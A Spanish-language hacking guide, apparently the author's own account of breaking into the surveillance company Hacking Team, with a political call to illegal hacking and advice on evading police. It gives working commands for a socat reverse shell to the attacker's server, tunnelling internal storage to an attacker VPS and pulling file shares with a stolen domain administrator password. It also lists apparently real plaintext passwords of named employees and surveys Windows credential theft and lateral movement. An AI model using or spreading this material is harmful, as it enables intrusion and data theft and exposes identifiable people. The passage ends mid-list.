```
 _   _            _    ____             _    _
| | | | __ _  ___| | _| __ )  __ _  ___| | _| |
| |_| |/ _` |/ __| |/ /  _ \ / _` |/ __| |/ / |
|  _  | (_| | (__|   <| |_) | (_| | (__|   <|_|
|_| |_|\__,_|\___|_|\_\____/ \__,_|\___|_|\_(_)
```

Una Guía DIY

```
                   ,-._,-._
                _,-\  o O_/;
               / ,  `     `|
               | \-.,___,  /   `
                \ `-.__/  /    ,.\
               / `-.__.-\`   ./   \'
              / /|    ___\ ,/      `\
             ( ( |.-"`   '/\         \  `
              \ \/      ,,  |          \ _
               \|     o/o   /           \.
                \        , /            /
                ( __`;-;'__`)           \\
                `//'`   `||`             `\
               _//       ||           __   _    _ _____   __
       .-"-._,(__)     .(__).-""-.     | | | | | |_   _| |
      /          \    /           \    | | |_| | | |   |
      \          /    \           /    | |  _  | | |   |
       `'-------`      `--------'`   __| |_| |_| |_|   |__
                    #antisec
```

--[1 - Introdución]---

Notarás el cambio de idioma desde la ultima edición [1]. El mundo de habla inglesa ya tiene libros, charlas, guías, e información de sobra acerca de hacking. En ese mundo hay muchos hackers mejores que yo, pero por desgracia malgastan sus conocimientos trabajando para los contratistas de "defensa", para agencias de inteligencia, para proteger a los bancos y corporaciones y para defender el orden establecido. La cultura hacker nació en EEUU como una contracultura, pero ese origen se ha quedado en la mera estética - el resto ha sido asimilado. Al menos pueden llevar una camiseta, teñirse el pelo de azul, usar sus apodos hackers, y sentirse rebeldes mientras trabajan para el sistema.

Antes alguien tenía que colarse en las oficinas para filtrar documentos [2]. Se necesitaba una pistola para robar un banco. Hoy en día puedes hacerlo desde la cama con un portátil en las manos [3][4]. Como dijo la CNT después del hackeo de Gamma Group: "intentaremos dar un paso más adelante con nuevas formas de lucha" [5]. El hackeo es una herramienta poderosa, ¡aprendamos y luchemos!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group

--[2 - Hacking Team]--

Hacking Team era una empresa que ayudó a los gobiernos a hackear y espiar a periodistas, activistas, contrincantes políticos, y otras amenazas a su poder [1][2][3][4][5][6][7][8][9][10][11]. Y, muy de vez en cuando, a criminales y terroristas [12]. A Vincenzetti, el CEO, le gustaba terminar sus correos con el eslogan fascista "boia chi molla". Sería más acertado "boia chi vende RCS". También afirmaban tener tecnología para solucionar el "problema" de Tor y el

darknet [13]. Pero visto que aún conservo mi libertad, tengo mis dudas acerca de su eficacia.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

--[3 - Tengan cuidado ahí fuera]---

Por desgracia, nuestro mundo está al revés. Te enriquece por hacer cosas malas y te encarcela por hacer cosas buenas. Afortunadamente, gracias al trabajo duro de gente como los de "Tor project" [1], puedes evitar que te metan en la cárcel mediante unas sencillas pautas:

1) Cifra tu disco duro [2]

   Supongo que para cuando llegue la policía a incautar tu computadora, significará que ya habrás cometido muchos errores, pero más vale prevenir que curar.

2) Usa una máquina virtual y enruta todo el tráfico por Tor

   Esto logra dos cosas. Primero, que todas las conexiones son anonimizadas a través de la red Tor. Segundo, mantener la vida personal y la vida anónima en computadoras diferentes te ayuda a no mezclarlas por accidente.

   Puedes usar proyectos como Whonix [3], Tails [4], Qubes TorVM [5], o algo personalizado [6]. Aquí [7] hay una comparación detallada.

3) (Opcional) No conectes directamente a la red Tor

   Tor no es la panacea. Se pueden correlacionar las horas que estás conectado a Tor con las horas que está activo tu apodo hacker. También han habido ataques con éxito contra la red [8]. Puedes conectar a la red Tor a través del wifi de otros. Wifislax [9] es una distribución de linux con muchas herramientas para conseguir wifi. Otra opción es conectar a un VPN o un nodo puente [10] antes de Tor, pero es menos seguro porque aún así se pueden correlacionar la actividad del hacker con la actividad del internet de tu casa (esto por ejemplo fue usado como evidencia contra Jeremy Hammond [11]).

   La realidad es que aunque Tor no es perfecto, funciona bastante bien. Cuando era joven y temerario, hice muchas cosas sin nada de protección (me refiero al hacking) aparte de Tor, que la policía hacía lo imposible por investigar, y nunca he tenido problemas.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4

[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html

----[3.1 - Infraestructura]----------

No hackeo directamente con las relés de salida de Tor. Están en listas negras, van muy lentos, y no se pueden recibir conexiones inversas. Tor sirve para proteger mi anonimato mientras me conecto a la infraestructura que uso para hackear, la cual consta de:

1) Nombres de dominio

   Sirve para direcciones de mando y control (C&C), y para hacer túneles de DNS para egress asegurado.

2) Servidores Estables

   Sirve para servidores C&C, para recibir shells inversas, para lanzar ataques y para guardar el botín.

3) Servidores Hackeados

   Sirven como pivotes para esconder la IP de los servidores estables, y para cuando quiero una conexión rápida sin pivote. Por ejemplo escanear puertos, escanear todo internet, descargar una base de datos con inyección de sql, etc.

Obviamente hay que pagar de manera anónima, como bitcoin (si lo usas con cuidado).

----[3.2 - Atribución]----------

A menudo sale en las noticias que han atribuido un ataque a un grupo de hackers gubernamentales (los "APTs"), porque siempre usan las mismas herramientas, dejan las mismas huellas, e incluso usan la misma infraestructura (dominios, correos etc). Son negligentes porque pueden hackear sin consecuencias legales.

No quería hacer más fácil el trabajo de la policía y relacionar lo de Hacking Team con los hackeos y apodos de mi trabajo cotidiano como hacker de guante negro. Así que usé servidores y dominios nuevos, registrado con correos nuevos y pagado con direcciones de bitcoin nuevas. Además, solo usé herramientas públicas y cosas que escribí especialmente para este ataque y cambié mi manera de hacer algunas cosas para no dejar mi huella forense normal.

--[4 - Recabar Información]----------

Aunque puede ser tedioso, esta etapa es muy importante, porque cuanto más grande sea la superficie de ataque, más fácil será encontrar un fallo en una parte de la misma.

----[4.1 - Información Técnica]----------

Algunos herramientas y técnicas son:

1) Google

   Se pueden encontrar muchas cosas inesperadas con un par de búsquedas bien
   escogidas. Por ejemplo, la identidad de DPR [1]. La biblia de como usar
   google para hackear es el libro "Google Hacking for Penetration Testers".
   También puedes encontrar un breve resumen en español en [2].

2) Enumeración de subdominios

   A menudo el dominio principal de una empresa está alojado por un tercero, y
   vas a encontrar los rangos de IP de la empresa gracias a subdominios como
   mx.company.com, ns1.company.com etc. Además, a veces hay cosas que no deben
   estar expuestas en subdominios "ocultos". Herramientas útiles para
   descubrir dominios y subdominios son fierce [3], theHarvester [4], y
   recon-ng [5].

3) Búsquedas y búsquedas inversas de whois

   Con una búsqueda inversa usando la información whois de un dominio o rango
   de IPs de una empresa, puedes encontrar otros de sus dominios y rangos de
   IPs. Que yo sepa, no hay manera gratuita de hacer búsquedas inversas de
   whois, aparte de un "hack" con google:

   "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com

4) Escaneo de puertos y fingerprinting

   Diferente a las otras técnicas, esta habla con los servidores de la
   empresa. Lo incluyo en esta sección porque no es un ataque, solo es para
   recabar información. El IDS de la empresa puede generar una alerta al
   escanear puertos, pero no tienes que preocuparte porque todo internet
   está siendo escaneado constantemente.

   Para escanear, nmap [6] es preciso, y puede fingerprint la mayória de
   servicios descubiertos. Para empresas con rangos de IPs muy largas,
   zmap [7] o masscan [8] son rápidos. WhatWeb [9] o BlindElephant [10]
   puede fingerprint sitios web.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

----[4.2 - Información Social]---

Para la ingeniería social, es muy útil recabar información acerca de los
empleados, sus roles, información de contacto, sistema operativo, navegador,
plugins, software, etc. Algunos recursos son:

1) Google

   Aquí también, es la herramienta más útil.

2) theHarvester y recon-ng

   Ya las he mencionado en la sección anterior, pero tienen mucha más

funcionalidad. Pueden encontrar mucha información de forma rápida y automatizada. Vale la pena leer toda su documentación.

3) LinkedIn

Se puede encontrar mucha información sobre los empleados aquí. Los reclutadores de la empresa son los más propensos a aceptar tus solicitudes.

4) Data.com

Antes conocido como jigsaw. Tiene la información de contacto de muchos empleados.

5) Metadatos de los archivos

Se puede encontrar mucha información sobre los empleados y sus sistemas en los metadatos de archivos que la empresa ha publicado. Herramientas útiles para encontrar archivos en el sitio web de la empresa y extraer los metadatos son metagoofil [1] y FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

--[5 - Entrando en la Red]---

Hay varias maneras de hacer la entrada. Ya que el método que usé para hacking team es poco común y mucho más trabajoso de lo que normalmente es necesario, voy a hablar un poco de los dos métodos más comunes, que recomiendo intentar primero.

----[5.1 - Ingeniería Social]---

Ingeniería social, específicamente spear phishing, es responsable de la mayoría de los hackeos hoy día. Para una introducción en español, véase [1]. Para más información en inglés, véase [2] (la tercera parte, "Targeted Attacks"). Para anécdotas divertidas de ingeniería social de las generaciones pasadas, véase [3]. No quería intentar spear phishing contra Hacking Team, porque su negocio es ayudar a los gobiernos a spear phish a sus opositores. Por lo tanto hay un riesgo mucho más alto de que Hacking Team reconozca y investigue dicho intento.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

----[5.2 - Comprar Acceso]---

Gracias a rusos laboriosos y sus exploit kits, traficantes de tráfico, y pastores de bots, muchas empresas ya tienen computadoras comprometidas dentro de sus redes. Casi todos los Fortune 500, con sus enormes redes, tienen unos bots ya adentro. Sin embargo, Hacking Team es una empresa muy pequeña, y la mayoría de los empleados son expertos en seguridad informática, entonces había poca probabilidad de que ya estuvieran comprometidas.

----[5.3 - Explotación Técnica]---

Después del hackeo de Gamma Group, describí un proceso para buscar vulnerabilidades [1]. Hacking Team tiene un rango de IP pública:
inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet

Hacking Team tenía muy poco expuesto al internet. Por ejemplo, diferente a Gamma Group, su sitio de atención al cliente necesita un certificado del

cliente para conectar. Lo que tenía era su sitio web principal (un blog Joomla en que Joomscan [2] no revela ningún fallo grave), un servidor de correos, un par de routers, dos dispositivos VPN, y un dispositivo para filtrar spam. Entonces tuve tres opciones: buscar un 0day en Joomla, buscar un 0day en postfix, o buscar un 0day en uno de los sistemas embebidos. Un 0day en un sistema embebido me pareció la opción más alcanzable, y después de dos semanas de trabajo de ingeniería inversa, logré un exploit remoto de root. Dado que las vulnerabilidades aún no han sido parcheadas, no voy a dar más detalles. Para más información sobre como buscar este tipo de vulnerabilidades, véase [3] y [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

--[6 - Estar Preparado]---

Hice mucho trabajo y pruebas antes de usar el exploit contra Hacking Team. Escribí un firmware con backdoor, y compilé varias herramientas de post-explotación para el sistema embebido. El backdoor sirve para proteger el exploit. Usar el exploit sólo una vez y después volviendo por el backdoor hace más difícil el trabajo de descubrir y parchear las vulnerabilidades.

Las herramientas de post-explotación que había preparado eran:

1) busybox

   Para todas las utilidades comunes de UNIX que el sistema no tuvo.

2) nmap

   Para escanear y fingerprint la red interna de Hacking Team.

3) Responder.py

   La herramienta más útil para atacar a redes Windows cuando tienes acceso a la red interna pero no tienes un usuario de dominio.

4) Python

   Para ejecutar Responder.py

5) tcpdump

   Para husmear tráfico.

6) dsniff

   Para espiar contraseñas de protocolos débiles como ftp, y para hacer arpspoofing. Quería usar ettercap, escrito por los mismos ALoR y NaGA de Hacking Team, pero era difícil compilarlo para el sistema.

7) socat

   Para un shell cómodo con pty:
   mi_servidor: socat file:`tty`,raw,echo=0 tcp-listen:mi_puerto
   sistema hackeado: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
                         tcp:mi_servidor:mi_puerto

   Y para muchas cosas más, es una navaja suiza de redes. Véase la sección de ejemplos de su documentación.

8) screen

   Como los pty de socat, no es estrictamente necesario, pero quería sentirme

   como en casa en las redes de Hacking Team.

9) un servidor proxy SOCKS

   Para usar junto a proxychains para acceder a la red interna con cualquier
   otro programa.

10) tgcd

   Para reenviar puertos, como lo del servidor SOCKS, a través del firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/

Lo peor que podía pasar era que mi backdoor o herramientas de post-explotación
dejasen inestable el sistema e hicieran que un empleado lo investigase. Por
lo tanto, pasé una semana probando mi exploit, backdoor, y herramientas de
post-explotación en las redes de otras empresas vulnerables antes de entrar en
la red de Hacking Team.

--[7 - Observar y Escuchar]---

Ahora dentro de la red interna, quiero echar un vistazo y pensar antes de dar
el próximo paso. Enciendo Responder.py en modo análisis (-A, para escuchar sin
respuestas envenenadas), y hago un escaneo lento con nmap.

--[8 - Bases de Datos NoSQL]--

NoSQL, o más bien NoAutenticación, ha sido un gran regalo a la comunidad
hacker [1]. Cuando me preocupo de que por fin han parcheado todo los fallos de
omisión de autenticación en MySQL [2][3][4][5], se ponen de moda nuevas bases
de datos sin autenticación por diseño. Nmap encuentra unos pocos en la red
interna de Hacking Team:

```
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5
```

Fueron las bases de datos para instancias de prueba de RCS. El audio que graba
RCS es guardado en MongoDB con GridFS. La carpeta audio en el torrent [6]
viene de esto. Se espiaban sin querer a sí mismos.

[1] https://www.shodan.io/search?query=product%3Amongodb

[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/

--[9 - Cables Cruzados]---

Aunque fue divertido escuchar grabaciones y ver imágenes webcam de Hacking Team desarrollando su malware, no fue muy útil. Sus inseguras copias de seguridad fueron la vulnerabilidad que abrieron sus puertas. Según su documentación [1], sus dispositivos iSCSI deben estar en una red aparte, pero nmap encuentra unos en su subred 192.168.1.200/24:

```
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required
```

iSCSI necesita un modúlo de núcleo, y hubiese sido difícil compilarlo para el sistema embebido. Reenvié el puerto para montarlo desde un VPS:

```
VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
```

Ahora iSCSI encuentra el nombre iqn.2000-01.com.synology pero tiene problemas a la hora de montarlo porque cree que su dirección es 192.168.200.72 en vez de 127.0.0.1

```
La manera en que la solucioné fue:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

Y ahora después de:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72
--login

...el archivo de dispositivo aparece! Lo montamos:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
```

y encontramos copias de seguridad de varias máquinas virtuales. El servidor de Exchange parece lo más interesante. Es demasiado grande como para descargarlo, pero podemos montarlo remoto y buscar archivos interesantes:

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

entonces el offset es 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

ahora en /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
```

encontramos el disco duro de la máquina virtual, y lo montamos:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

... y por fin hemos desempaquetado la muñeca rusa y podemos ver todos los
archivos del antiguo servidor Exchange en /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
Rete/infrastruttura%20ht.pdf

--[10 - De Copia de Seguridad a Administrador de Dominio]---------------------

Lo que más me interesa de la copia de seguridad es buscar si tiene una
contraseña o hash que pueda usar para acceder al servidor actual. Uso pwdump,
cachedump, y lsadump [1] con los archivos del registro. lsadump encuentra la
contraseña de la cuenta de servicio besadmin:

```
_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
```

Uso proxychains [2] con el servidor socks en el sistema embebido y
smbclient [3] para comprobar la contraseña:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

!Funciona! La contraseña de besadmin aún es válida, y es un administrador
local. Uso mi proxy y psexec_psh de metasploit [4] para conseguir una sesión
de meterpreter. A continuación migro a un proceso de 64 bits, "load kiwi" [5],
"creds_wdigest", y ya tengo muchas contraseñas, incluso la del administrador
del dominio:

```
HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- ¡vaya sysadmin!
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!
```

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz

--[11 - Descargando los Correos]---

Ahora que tengo la contraseña del administrador del dominio, tengo acceso a
los correos, el corazón de la empresa. Ya que con cada paso que doy hay un
riesgo de detección, descargo los correos antes de seguir explorando.
Powershell hace que sea fácil [1]. Curiosamente, encontré un bug con el manejo
de fechas. Después de conseguir los correos, me demoró un par de semanas en

conseguir el código fuente y lo demás, así que regresé de vez en cuando para descargar los correos nuevos. El servidor era italiano, con las fechas en el formato día/mes/año. Uso:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

con el New-MailboxExportRequest para descargar los correos nuevos (en este caso todos los correos a partir del día 5 de junio. El problema es que dice que la fecha es inválida si el día es mayor que 12 (imagino que esto se debe a que en EEUU el mes está primero y no puede ser un mes mayor que 12). Parece que los ingenieros de Microsoft solo han probado su software con su propia configuración regional.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

--[12 - Descargando Archivos]---

Ahora que soy un administrador del dominio, también empecé a descargar los recursos compartidos usando mi proxy y la opción -Tc de smbclient, por ejemplo:

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
```

Así descargué las carpetas Amministrazione, FAE DiskStation, y FileServer en el torrent.

--[13 - Introducción al Hacking de Dominios de Windows]-----------------------

Antes de seguir contando la historia de los weones culiaos, cabe decir algo de conocimiento para atacar a redes de Windows.

----[13.1 - Movimiento Lateral]---

Voy a dar un breve repaso a las técnicas para propagarse dentro de una red de Windows. Las técnicas para ejecutar de forma remota requieren la contraseña o hash de un administrador local en el objetivo. Con mucho, la manera más común de conseguir dichas credenciales es usar mimikatz [1], sobre todo sekurlsa::logonpasswords y sekurlsa::msv, en las computadoras donde ya tienes acceso administrativo. Las técnicas de movimiento "in situ" también requiren privilegios administrativos (salvo por runas). Las herramientas más importantes para escalada de privilegios son PowerUp [2], y bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Movimiento Remoto:

1) psexec

   La manera básica y probada de movimiento en redes de windows. Puedes usar psexec [1], winexe [2], psexec_psh de metasploit [3], invoke_psexec de powershell empire [4], o el comando de windows "sc" [5]. Para el módulo de metasploit, powershell empire, y pth-winexe [6], basta con saber el hash sin saber la contraseña. Es la manera más universal (funciona en cualquier computadora con puerto 445 abierto), pero también la manera menos cautelosa. Aparecerá en el registro de eventos el tipo 7045 "Service Control Manager". En mi experiencia, nunca se han dado cuenta durante un hackeo, pero a veces lo notan después y ayuda a los investigadores entender lo que ha hecho el hacker.

2) WMI

La manera más cautelosa. El servicio de WMI está habilitado en todas las computadoras de windows, pero salvo por servidores, el firewall lo bloquea por defecto. Puedes usar wmiexec.py [7], pth-wmis [6] (aquí tienen una demostración de wmiexec y pth-wmis [8]), invoke_wmi de powershell empire [9], o el comando de windows wmic [5]. Todos excepto wmic sólo necesitan el hash.

3) PSRemoting [10]

Está deshabilitado por defecto, y no les aconsejo habilitar nuevos protocolos que no sean necesarios. Pero si el sysadmin ya lo ha habilitado, es muy conveniente, especialmente si usas powershell para todo (y sí, deberías usar powershell para casi todo, va a cambiar [11] con powershell 5 y windows 10, pero hoy en día powershell hace fácil hacer todo en RAM, esquivar los antivirus, y dejar pocas huellas).

4) Tareas programadas

Se pueden ejecutar programas remotos con at y schtasks [5]. Funciona en las mismas situaciones que psexec, y tambien deja huellas conocidas [12].

5) GPO

Si todos estos protocolos están deshabilitados o bloqueados por el firewall, una vez que eres el administrador del dominio, puedes usar GPO para darle un logon script, instalar un msi, ejecutar una tarea programada [13], o como veremos con la computadora de Mauro Romeo (sysadmin de Hacking Team), habilitar WMI y abrir el firewall a través de GPO.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py

Movimiento "in situ":

1) Impersonalizando Tokens

Una vez que tienes acceso administrativo a una computadora, puedes usar los tokens de los demás usuarios para acceder a recursos en el dominio. Dos herramientas para hacer esto son incognito [1] y los comandos token::* de mimikatz [2].

2) MS14-068

Se puede aprovechar un fallo de validación en kerberos para generar un ticket de administrador de dominio [3][4][5].

3) Pass the Hash

Si tienes su hash pero el usuario no tiene sesión iniciada puedes usar sekurlsa::pth [2] para obtener un ticket del usuario.

4) Inyección de Procesos

   Cualquier RAT puede inyectarse a otro proceso, por ejemplo el comando
   migrate en meterpreter y pupy [6] o psinject [7] en powershell empire.
   Puedes inyectar al proceso que tiene el token que quieras.

5) runas

   Esto a veces resulta muy útil porque no require privilegios de
   administrador. El comando es parte de windows, pero si no tienes interfaz
   gráfica puedes usar powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

----[13.2 - Persistencia]----------

Una vez conseguido el acceso, quieres mantenerlo. Realmente, la persistencia
solo es un desafío para hijos de puta como los de Hacking Team que quieren
hackear a activistas u otros individuos. Para hackear empresas, no hace falta
persistencia porque las empresas nunca duermen. Yo siempre uso "persistencia"
al estilo de duqu 2, ejecutar en RAM en un par de servidores con altos
porcentajes de uptime. En el hipotético caso de que todos reinicien a la vez,
tengo contraseñas y un ticket de oro [1] para acceso de reserva. Puedes leer
más información sobre los mecanismos de persistencia para windows aquí
[2][3][4]. Pero para hackear empresas, no hace falta y aumenta el riesgo de
detección.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/

----[13.3 - Reconocimiento interno]----------

La mejor herramienta hoy día para entender redes de Windows es Powerview [1].
Vale la pena leer todo escrito por el autor [2], ante todo [3], [4], [5], y
[6]. Powershell en sí también es muy potente [7]. Como todavía hay muchos
servidores 2003 y 2000 sin powershell, tienes que aprender también la vieja
escuela [8], con herramientas como netview.exe [9] o el comando de windows
"net view". Otras técnicas que me gustan son:

1) Descargar una lista de nombres de archivos

   Con una cuenta de administrador de dominio, se pueden descargar todos los
   nombres de archivos en la red con powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Más tarde, puedes leerlo a tu ritmo y elegir cuales quieres descargar.

2) Leer correos

   Como ya hemos visto, se pueden descargar correos con powershell, y tienen
   muchísima información útil.

3) Leer sharepoint

   Es otro lugar donde muchas empresas tienen información importante. Se puede
   descargar con powershell [10].

4) Active Directory [11]

   Tiene mucha información útil sobre usuarios y computadoras. Sin ser
   administrador de dominio, ya se puede encontrar mucha información con
   powerview y otras herramientas [12]. Después de conseguir administrador de
   dominio deberías exportar toda la información de AD con csvde u otra
   herramienta.

5) Espiar a los empleados

